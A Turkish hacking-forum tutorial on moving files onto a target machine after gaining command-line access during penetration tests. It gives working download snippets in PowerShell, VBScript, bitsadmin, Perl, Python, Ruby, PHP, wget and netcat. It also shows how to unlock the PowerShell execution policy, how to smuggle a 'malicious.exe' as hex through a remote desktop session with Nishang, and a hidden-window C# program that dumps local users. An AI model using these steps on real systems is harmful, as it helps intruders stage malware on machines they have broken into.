/ Uzak Sisteme Dosya Aktarma Teknikleri /

SeSa1453

Yaşayan Forum Efsanesi
12 Eki 2012
10,110
5
Nahçıvan
Sızma testlerinde hedef sistemin komut satırını ele geçirdiğiniz durumlarda hedef sisteme dosya aktarmak ve çalıştırmak için bazı pratik komutlara ihtiyacınız olacaktır.

Windows/Linux /*ni vb. sistemlerde hali hazırda kurulu gelen uygulamalar üzerinden aşağıdaki teknikleri kullanarak dosya aktarımı gerçekleştirebilirsiniz.


Hedef Makinanın Windows Olduğu Senaryolar
PowerShell ile dosya indirmek


Powershell Microsoft’un Windows tabanlı işletim sistemlerinde kullanılması için çıkardığı bir komut satırıdır. Bu güne dek Microsoft’un çıkartmış olduğu ürünlerin büyük bir kısmı grafiksel bir arayüzden yönetilmekteydi. Ancak Server 2008’in kullanıma sunulmasıyla beraber Linux ve Unix tabanlı işletim sistemlerinde görülmeye alışkın olunan komut satırı artık Windows işletim sistemlerinde de mevcut hale geldi. Aşağıdaki örnekte basit bir script ile powershell kullanarak uzaktaki bir dosyanın nasıl indirebileceğini göreceksiniz.

Bu scripti bir dosyaya yazıp;


Kod:
$p = New-Object System.Net.WebClient

$p.DownloadFile(“http://domain.com/deneme.txt” “C:\Users\Username\Desktop\deneme.txt”)

Scripti çalıştırmak için gereken komutu girelim.

Kod:
PS C:\> .\bga.ps1

Bazı kullanıcılar için powershell çalıştırma yetkileri kısıtlanmış olabilir. Dolayısıyla çalıştırmayı denediğinizde hata alabilirsiniz. Bu gibi durumlarda aşağıdaki komutu kullanarak çalıştırma yetkisini alabilirsiniz.

Kod:
C:\>powershell set-executionpolicy unrestricted

Visual Basic ile dosya indirmek

Visual Basic final sürümü olarak 1998 yılından itibaren Windows işletim sistemlerinde standart olarak yüklü gelmektedir. Aşağıdaki script ile belirtmiş olduğunuz dosyayı indirebilirsiniz. Script çıktısı powershell e nazaran biraz daha büyük.

Kod:
Set args = Wscript.Arguments

Url = “http://domain.com/deneme.txt”

dim xHttp: Set xHttp = createobject(“Microsoft.XMLHTTP”)

dim bStrm: Set bStrm = createobject(“Adodb.Stream”)

xHttp.Open “GET”, Url, False

xHttp.Send

with bStrm

.type = 1 ‘

.open

.write xHttp.responseBody

.savetofile ” C:\Users\Username\Desktop\deneme.txt”, 2 ‘

end with

İçeriği bir dosyaya kaydettikten sonra komut satırında aşağıdaki komutu girerek scripti çalıştırabilirsiniz.

Kod:
C:\>cscript bga.vbs

TFTP ile dosya indirmek

TFTP (Trivial FTP) Windows Vista ve daha önceki sürümlerde standart olarak yüklüdür. Ancak uyumlu sunucu ile yapılandırmanız gerekmektedir. Bunun için komut satırına aşağıdaki komutu girmeniz gerekmektedir.

Kod:
tftp -i host GET C:\Users\Username\Desktop\deneme.txt tftp_sunucusundaki_dosyanin_yeri

Bitsadmin ile dosya indirmek

Bitsadmin Windows için geliştirilmiş, komut satırından çalışan dosya indirme-gönderme görevleri oluşturmanızı sağlayan bir araçtır. Kullanmak için komut satırına aşağıdaki komutu girmeniz gerekmektedir.

Kod:
bitsadmin /transfer n http://domain.com/deneme.txt c:\Users\Username\Desktop\deneme.txt

Windows Paylaş ile dosya indirmek

Windowsta paylaşılan klasörler uzakta bağlanılabilir. Bağlayıp sürücü harfi atandıktan sonra sürücü içeriği komutlar ile kopyalanabilir.

Uzaktaki sürücüyü bağlamak için aşağıdaki komutu girmeniz yeterlidir.


Kod:
net use x: \\127.0.0.1\paylasim /kullanici:domain.com\KullaniciID kullaniciparolasi

PowerShell ve Nishang ile Exe’den Txt’ye, Txt’den Exe’ye

Nishang exe uzantılı dosyayı hex koduna çevirebilmemize olanak sağlıyor. Daha sonra PowerShell ile hex’i tekrar orijinal exe’ye dönüştürebiliyoruz. Karşılaşmış olduğumuz makinalarda Uzak Masaüstü Bağlantısında exe transferi gerçekleştirilemeyen durumlar oluyordu. Bu, temel düzeyde koruma sağlıyor olsa da kopyalanan içeriği önbelleğe alıp aktarma işlemini gerçekleştirebiliyoruz. Bu şekilde bir senaryo ile karşı karşıya olduğumuz durumlarda Nishang ile aktarmak istediğimiz exe’yi hex’e çevirip bunu uzaktaki makinaya kopyaladıktan sonra .ps1 uzantılı olarak kaydediyoruz. Kopyalamamız gereken nishang scripti TexttoExe.ps1 ve sadece 8 satır uzunluğunda. Nishang i buradan indirebilirsiniz.

Exe’den Hex’e çevirmek için aşağıdaki kodu kullanabilirsiniz.


Kod:
PS > .\ExetoText.ps1 zararli.exe zararli.txt

İşlem sonrasında zararli.txt dosyasını açıp içeriğini kopyalıyoruz. Daha sonra uzak masaüstü bağlantısı aracılığıyla uzaktaki makinada yapıştırıyoruz. Aynı işlemi TexttoExe.ps1 nishang scripti içinde uygulamamız gerekiyor.

Hex dosyasını tekrar exe’ye çevirmek için aşağıdaki komutu kullanmamız yeterli.


Kod:
PS > .\TexttoExe.ps1 zararli.text zararli.exe
Bu işlem sonrasında zararli.exe dosyamız başarıyla uzaktaki makinamıza aktarılmış oluyor.

Csc.exe ile Kaynak Koddan dosya derlemek

Csc (C sharp derleyicisi) komut satırı üzerinden çalışan bir derleyicidir. Microsoft .NET içerisinde bulunur ve Windows ile birlikte yüklü olarak gelir. Metin kopyalayabiliyor fakat çalıştırılabilir bir dosya kopyalayamıyor olduğunuz durumlarda bu yöntem işinize yarayabilir. Bu yöntem SQL Injection ile birlikte kullanıldığında izin verilmiş proxye ihtiyacınız olmadan exe dosyasını kopyalayabilirsiniz.

Csc.exe’nin varsayılan olarak bulunduğu dizin;

Kod:
C:\Windows\Microsoft.NET\Framework\version

Aşağıdaki örnek kodumuzda derlenmiş exe, cmd.exe kullanarak yerel bilgisayardaki kullanıcıları sorgulayacak ve sonrasında C:\Temp dizinine kullanicilar.txt dosyası oluşturup çıktıyı bu dosyaya yazdıracak. Bu örnekte çok basit bir sorgulama yapılmış olsada, bu yöntem ile kendi kodunuzu yazabilir, exploitinizi çalıştırabilirsiniz.


Kod:
public class Evil

{

public static **** Main()

{

System.Diagnostics.Process process = new System.Diagnostics.Process();

System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();

startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;

startInfo.FileName = “cmd.exe”;

startInfo.Arguments = “/C net users > C:\\Temp\\kullanicilar.txt”;

process.StartInfo = startInfo;

process.Start();

}

}

Kaynak kodu derlemek için;

Kod:
csc.exe /out:C:\zararli\zararli.exe C:\zararli\zararli.cs

Hedef Makinanın Linux ve Türevi Olduğu Senaryolar
Perl ile dosya indirmek


Perl hemen hemen herşey için kullanılabilen çok yönlü bir betik dilidir. Perl kullanarak kolay ve hızlıca uzaktaki bir dosyayı indirebilirsiniz.

Kod:
#!/usr/bin/perl

use LWP::Simple;

getstore(“http://domain.com/deneme.txt”, “deneme.txt”);

Perl scriptini çalıştırmak için komut satırına aşağıdaki komutu girmeniz yeterlidir.

Kod:
root@onur:~# perl bga.pl

Pyton ile dosya indirmek

Python kodu okunabilirliği vurgulayan genel amaçlı bir betik dilidir. Basit sözdizimi yapısı sayesinde yapılmak istenen iş için en az kod kullanmayı hedeflemektedir. Aşağıdaki pyton kodunu kullanarak dosya indirmeyi sağlayabilirsiniz.

Kod:
#!/usr/bin/python

import urllib2

u = urllib2.urlopen(‘http://domain.com/deneme.txt’)

localFile = open(‘local_file’, ‘w’)

localFile.write(u.read())

localFile.close()

Aşağıdaki kod ile pyton scriptini çalıştırabilirsiniz.

Kod:
root@sesa:~# python bga.py

Ruby ile dosya indirmek

Ruby geliştiricilerinin söylediğine göre, Verimlilik ve sadelik üzerine odaklanmış, açık kaynak kodlu dinamik bir dildir. Okumayı ve yazmayı kolaylaştıran, doğal bir sözdizimine sahiptir. Ruby’nin en göze çarpan özelliği nesne tabanlı olması ve bu sayede bir çok yapı ile (örn. ****sploit) birlikte kullanılabilmesidir.

Kod:
#!/usr/bin/ruby

require ‘net/http’

Net::HTTP.start(“www.domain.com”) { |http|

r = http.get(“/file”)

open(“save_********”, “wb”) { |file|

file.write(r.body)

}

}

Ruby scriptini çalıştırmak için aşağıdaki kodu komut satırına yazmanız yeterlidir

Kod:
root@sesa:~# ruby bga.rb

Php ile dosya indirmek

PHP genellikle sunucu tabanlı web programlama için kullanılsa da ihtiyaç olması durumunda basit bir script ile dosya indirme işlemi de yapabilirsiniz.

Kod:
#!/usr/bin/php

<?php

$data = @file(“http://domain.com/deneme.txt”);

$lf = “local_file”;

$fh = fopen($lf, ‘w’);

fwrite($fh, $data[0]);

fclose($fh);

?>

Çalıştırmak için komutu yazmanız yeterlidir.

Kod:
root@sesa:~# php bga.php

Genellikle php ile dosya indirmelerde herhangi bir kısıtlama ile karşılaşmazsınız. Ancak bu tarz durumlarda 1-2 farklı adım ile bypass edilebilecek senaryolar geliştirebilirsiniz.

FTP ile dosya indirmek

Ftp ile dosya indirme işlemi yapılabilmesi için ECHO komutuyla bir bash script hazırlayıp kolayca işleminizi tamamlayabilirsiniz.

Kod:
ftp 127.0.0.1

username

password

get file

exit

Wget ile dosya indirmek

Wget, Linux ve Windows tabanında etkileşimsiz indirme yapılmasına olanak sağlayan bir araçtır. Kullanımı çok basittir.

Kod:
wget http://domain.com/deneme.txt

Netcat ile dosya indirmek

Netcat belirlenmiş bir port üzerinden dosya aktarımını destekler. Ancak bu örneğin Linux’a özel olduğunu unutmayın.

Kod:
cat file | nc -l 1234

Bu komut localhostta 1234 portunu dinlemeye dosya içeriğini alıp ekrana yazdıracaktır. Daha sonra 1234 portuna bağlanıldığında dosyayı gönderecektir.

Alttaki komut ise hedef makinada çalıştırıldığında sizin dinlemeye aldığınız 1234 portuna bağlanıp dosya gönderimi tamamlanacaktır.


Kod:
nc host_ip 1234 > deneme.txt

Perl, Python ve Ruby ile Windows sistemlerde dosta aktarımı mümkün, ancak öncesinde kurulmuş olması gerektiğinden Windows kategorisine eklemedim. Aynı şekilde wget başlığı altında her ne kadar Windows desteği olduğunu belirtmiş olsamda wget’in de daha önceden kurulmuş olması gereklidir.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.